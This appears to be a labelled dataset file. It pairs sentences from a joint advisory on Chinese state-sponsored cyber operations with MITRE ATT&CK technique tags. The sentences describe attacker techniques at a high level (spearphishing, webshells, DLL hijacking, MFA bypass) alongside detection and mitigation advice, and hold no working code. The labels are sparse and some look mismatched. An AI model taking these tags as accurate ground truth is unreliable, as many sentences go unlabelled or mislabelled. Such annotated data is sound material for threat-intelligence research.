{"sentence": "Organizations may be able to identify malicious use of Cobalt Strike by: Examining network traffic using Transport Layer Security (TLS) inspection to identify Cobalt Strike.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Look for human generated vice machine-generated traffic, which will be more uniformly distributed.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Looking for the default Cobalt Strike TLS certificate.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Look at the user agent that generates the TLS traffic for discrepancies that may indicate faked and malicious traffic.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Review the traffic destination domain, which may be malicious and an indicator of compromise.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Look at the packet's HTTP host header.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "If it does not match with the destination domain, it may indicate a fake Cobalt Strike header and profile.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Check the Uniform Resource Identifier (URI) of the flow to see if it matches one associated with Cobalt Strike's malleable C2 language.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "If discovered, additional recovery and investigation will be required.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "N/A Tactics: Initial Access [TA0001] Table III: Chinese state-sponsored cyber actors’ Initial Access TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Detection and Mitigation Recommendations Drive By Compromise", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1189] Chinese state-sponsored cyber actors have been observed gaining access to victim networks through watering hole campaigns of typo-squatted domains.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Ensure all browsers and plugins are kept up to date.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use modern browsers with security features turned on.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Restrict the use of unneeded websites, block unneeded downloads/attachments, block unneeded JavaScript:registered:, restrict browser extensions, etc. Use adblockers to help prevent malicious code served through advertisements from executing.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use script blocking extensions to help prevent the execution of unneeded JavaScript, which may be used during exploitation processes.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use browser sandboxes or remote virtual environments to mitigate browser exploitation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use security applications that look for behavior used during exploitation, such as Windows Defender:registered: Exploit Guard (WDEG).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Identifier Analysis Homoglyph Detection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-HD] URL Analysis [D3-UA] File Analysis Dynamic Analysis [D3-DA] Isolate: Execution Isolation Hardware-based Process Isolation [D3-HBPI] Executable Allowlisting", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EAL] Network Isolation DNS Denylisting [D3-DNSDL] Outbound Traffic Filtering [D3-OTF] Exploit Public-Facing Application [T1190] Chinese state-sponsored cyber actors have exploited known vulnerabilities in Internet-facing systems.[1]", "labels": ["T1190"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "For information on vulnerabilities known to be exploited by Chinese state-sponsored cyber actors, refer to the Trends in Chinese State-Sponsored Cyber Operations section for a list of resources.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Chinese state-sponsored cyber actors have also been observed: Using short-term VPS devices to scan and exploit vulnerable Microsoft Exchange:registered: Outlook Web Access (OWA:registered:) and plant webshells.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Targeting on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments to gain access to cloud resources.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Deploying a public proof of concept (POC) exploit targeting a public-facing appliance vulnerability.", "labels": ["T1190"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Review previously published alerts and advisories from NSA, CISA, and FBI, and diligently patch vulnerable applications known to be exploited by cyber actors.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Refer to the Trends in Chinese State-Sponsored Cyber Operations section for a non-inclusive list of resources.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Additional mitigations include: Consider implementing Web Application Firewalls (WAF), which can prevent exploit traffic from reaching an application.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Segment externally facing servers and services from the rest of the network with a demilitarized zone (DMZ).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use multi-factor authentication (MFA) with strong factors and require regular re-authentication.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Disable protocols using weak authentication.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Limit access to and between cloud resources with the desired state being a Zero Trust model.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "For more information refer to NSA Cybersecurity Information Sheet: [Embracing a Zero Trust Security Model].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "When possible, use cloud-based access controls on cloud resources (e.g., cloud service provider (CSP)-managed authentication between virtual machines).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use automated tools to audit access logs for security concerns.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Where possible, enforce MFA for password resets.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Do not include Application Programing Interface (API) keys in software version control systems where they can be unintentionally leaked. Harden:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Application Hardening [D3-AH]", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Platform Hardening Software Update [D3-SU] Detect: File Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-FA] Network Traffic Analysis Client-server Payload Profiling [D3-CSPP] Process Analysis Process Spawn Analysis Process Lineage Analysis [D3-PLA] Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF]", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Phishing [T1566]: Spearphishing Attachment [T1566.001] Spearphishing Link", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1566.002] Chinese state-sponsored cyber actors have been observed conducting spearphishing campaigns.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These email compromise attempts range from generic emails with mass targeted phishing attempts to specifically crafted emails in targeted social engineering lures.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These compromise attempts use the cyber actors’ dynamic collection of VPSs, previously compromised accounts, or other infrastructure in order to encourage engagement from the target audience through domain typo-squatting and masquerading.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These emails may contain a malicious link or files that will provide the cyber actor access to the victim’s device after the user clicks on the malicious link or opens the attachment.", "labels": ["T1204.002", "T1566.001"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Implement a user training program and simulated spearphishing emails to discourage users from visiting malicious websites or opening malicious attachments and re-enforce the appropriate user responses to spearphishing emails.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Quarantine suspicious files with antivirus solutions.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use a network intrusion prevention system (IPS) to scan and remove malicious email attachments.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Block uncommon file types in emails that are not needed by general users (.exe, .jar,.vbs)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using Sender Policy Framework", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[SPF]) and integrity of messages (using Domain Keys Identified Mail", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[DKIM]).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Enabling these mechanisms within an organization (through policies such as Domain-based Message Authentication, Reporting, and Conformance", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[DMARC]) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Prevent users from clicking on malicious links by stripping hyperlinks or implementing \"URL defanging\" at the Email Security Gateway or other email security tools.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Add external sender banners to emails to alert users that the email came from an external sender.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Harden:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Message Hardening Message Authentication [D3-MAN] Transfer Agent Authentication", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-TAAN] Detect: File Analysis Dynamic Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-DA] Identifier Analysis Homoglyph Detection [D3-HD] URL Analysis [D3-UA] Message Analysis Sender MTA Reputation Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SMRA] Sender Reputation Analysis [D3-SRA] External Remote Services", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1133] Chinese state-sponsored cyber actors have been observed: Exploiting vulnerable devices immediately after conducting scans for critical zero-day or publicly disclosed vulnerabilities.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "The cyber actors used or modified public proof of concept code in order to exploit vulnerable systems.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Targeting Microsoft Exchange offline address book (OAB) virtual directories (VDs).", "labels": ["T1190"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Exploiting Internet accessible webservers using webshell small code injections against multiple code languages, including net, asp, apsx, php, japx, and cfm.", "labels": ["T1190"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: refer to the references listed above in Exploit Public-Facing Application [T1190] for information on CVEs known to be exploited by malicious Chinese cyber actors.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to Persistence [TA0003].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Many exploits can be mitigated by applying available patches for vulnerabilities (such as CVE-2019-11510, CVE-2019-19781, and CVE-2020-5902) affecting external remote services.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Reset credentials after virtual private network (VPN) devices are upgraded and reconnected to the external network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Revoke and generate new VPN server keys and certificates (this may require redistributing VPN connection information to users).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Disable Remote Desktop Protocol (RDP) if not required for legitimate business functions.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Restrict VPN traffic to and from managed service providers (MSPs)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "using a dedicated VPN connection.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Review and verify all connections between customer systems, service provider systems, and other client enclaves.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Harden: Software Update [D3-SU] Detect: Network Traffic Analysis Connection Attempt Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-CAA] Platform Monitoring [D3-PM] Process Analysis Process Spawn Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SPA] Process Lineage Analysis [D3-PLA] Valid Accounts", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1078]: Default Accounts [T1078.001] Domain Accounts [T1078.002] Chinese state-sponsored cyber actors have been observed: gaining credential access into victim networks by using legitimate, but compromised credentials to access OWA servers, corporate login portals, and victim networks.", "labels": ["T1078"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to Persistence", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0003], Privilege Escalation [TA0004], and Defense Evasion [TA0005].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Adhere to best practices for password and permission management.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Ensure that MSP accounts are not assigned to administrator groups and restrict those accounts to only systems they manage Do not store credentials or sensitive data in plaintext.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Change all default usernames and passwords.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Routinely update and secure applications using Secure Shell (SSH).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Update SSH keys regularly and keep private keys secure.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Routinely audit privileged accounts to identify malicious use. Harden: Credential Hardening Multi-factor Authentication [D3-MFA] Detect: User Behavior Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-UBA] Authentication Event Thresholding [D3-ANET] Job Function Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-JFAPA] Tactics: Execution", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0002] Table IV: Chinese state-sponsored cyber actors’ Execution TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Command and Scripting Interpreter", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "]: PowerShell:registered: [T1059.001] Windows:registered: Command Shell [T1059.003] Unix:registered: Shell", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1059.004] Python", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1059.006] JavaScript [T1059.007] Network Device CLI [T1059.008] Chinese state-sponsored cyber actors have been observed: Using cmd.exe, JavaScript/Jscript Interpreter, and network device command line interpreters (CLI).", "labels": ["T1059.003"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Using PowerShell to conduct reconnaissance, enumeration, and discovery of the victim network.", "labels": ["T1210"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Employing Python scripts to exploit vulnerable servers.", "labels": ["T1210"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Using a UNIX shell in order to conduct discovery, enumeration, and lateral movement on Linux:registered: servers in the victim network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "PowerShell Turn on PowerShell logging.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "(Note: this works better in newer versions of PowerShell.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "NSA, CISA, and FBI recommend using version 5 or higher.)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Push Powershell logs into a security information and event management (SIEM) tool.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for suspicious behavior and commands.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Regularly evaluate and update blocklists and allowlists.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use an antivirus program, which may stop malicious code execution that cyber actors attempt to execute via PowerShell.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Remove PowerShell if it is not necessary for operations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Restrict which commands can be used.", "labels": ["T1059.003"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Windows Command Shell Restrict use to administrator, developer, or power user systems.", "labels": ["T1059.003"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider its use suspicious and investigate, especially if average users run scripts.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Investigate scripts running out of cycle from patching or other administrator functions if scripts are not commonly used on a system, but enabled. Monitor for and investigate other unusual or suspicious scripting behavior.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Unix Use application controls to prevent execution.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for and investigate unusual scripting behavior.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use of the Unix shell may be common on administrator, developer, or power user systems.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "In this scenario, normal users running scripts should be considered suspicious.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions should be considered suspicious.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Python Audit inventory systems for unauthorized Python installations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Blocklist Python where not required.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Prevent users from installing Python where not required.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "JavaScript Turn off or restrict access to unneeded scripting components.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Blocklist scripting where appropriate.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "For malicious code served up through ads, adblockers can help prevent that code from executing.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Network Device Command Line Interface (CLI) Use TACACS+ to keep control over which commands administrators are permitted to use through the configuration of authentication and command authorization.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use an authentication, authorization, and accounting (AAA) systems to limit actions administrators can perform and provide a history of user actions to detect unauthorized use and abuse.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Ensure least privilege principles are applied to user accounts and groups.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Platform Hardening [D3-PH] Detect: Process Analysis Script Execution Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SEA] Isolate: Execution Isolation Executable Allowlisting", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EAL] Scheduled Task/Job [T1053] Cron", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1053.003] Scheduled Task", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1053.005] Chinese state-sponsored cyber actors have been observed using Cobalt Strike, webshells, or command line interface tools, such as schtask or crontab to create and schedule tasks that enumerate victim devices and networks.", "labels": ["T1053.005", "T1059.003"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to Persistence [TA0003] and Privilege Escalation [TA0004].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• Monitor scheduled task creation from common utilities using command-line invocation and compare for any changes that do not correlate with known software, patch cycles, or other administrative activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "• Configure event logging for scheduled task creation and monitor process execution from svchost.exe (Windows 10) and Windows Task Scheduler (Older version of Windows) to look for changes in %systemroot%\\System32\\Tasks that do not correlate with known software, patch cycles, or other administrative activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Additionally monitor for any scheduled tasks created via command line utilities—such as PowerShell or Windows Management Instrumentation (WMI)—that do not conform to typical administrator or user actions.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Platform Monitoring Operating System Monitoring [D3-OSM] Scheduled Job Analysis [D3-SJA] System Daemon Monitoring [D3-SDM] System File Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SFA] Isolate: Execution Isolation Executable Allowlisting", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EAL] User Execution [T1204] Malicious Link [T1204.001] Malicious File [T1204.002] Chinese state-sponsored cyber actors have been observed conducting spearphishing campaigns that encourage engagement from the target audience.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "These emails may contain a malicious link or file that provide the cyber actor access to the victim’s device after the user clicks on the malicious link or opens the attachment.", "labels": ["T1204.002", "T1566.001"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use an antivirus program, which may stop malicious code execution that cyber actors convince users to attempt to execute.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Prevent unauthorized execution by disabling macro scripts from Microsoft Office files transmitted via email.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use a domain reputation service to detect and block suspicious or malicious domains.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Determine if certain categories of websites are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use browser and application sandboxes or remote virtual environments to mitigate browser or other application exploitation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: File Analysis Dynamic Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-DA] File Content Rules [D3-FCR] Identifier Analysis Homoglyph Detection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-HD] URL Analysis [D3-UA] Network Traffic Analysis DNS Traffic Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-DNSTA] Isolate: Execution Isolation Hardware-based Process Isolation [D3-HBPI] Executable Allowlisting", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EAL] Network Isolation DNS Denylisting [D3-DNSDL] Outbound Traffic Filtering [D3-OTF] Tactics: Persistence [TA0003] Table V: Chinese state-sponsored cyber actors’", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Persistence TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detection and Mitigation Recommendations Defensive Tactics and Techniques Hijack Execution Flow", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1574]: DLL Search Order Hijacking [T1574.001] Chinese state-sponsored cyber actors have been observed using benign executables which used Dynamic Link Library (DLL) load-order hijacking to activate the malware installation process.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to Privilege Escalation [TA0004] and Defense Evasion [TA0005].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Disallow loading of remote DLLs.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Enable safe DLL search mode.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Implement tools for detecting search order hijacking opportunities.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Use application allowlisting to block unknown DLLs.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor the file system for created, moved, and renamed DLLs.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor for changes in system DLLs not associated with updates or patches.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Monitor DLLs loaded by processes (e.g., legitimate name, but abnormal path).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Detect: Platform Monitoring Operating System Monitoring Service Binary Verification", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-SBV] Process Analysis File Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-FAPA] Isolate: Execution Isolation Executable Allowlisting", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[D3-EAL] Modify Authentication Process", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[T1556] Domain Controller Authentication [T1556.001] Chinese state-sponsored cyber actors were observed creating a new sign-in policy to bypass MFA requirements to maintain access to the victim network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "Note: this technique also applies to Defense Evasion", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
{"sentence": "[TA0005] and Credential Access", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"}
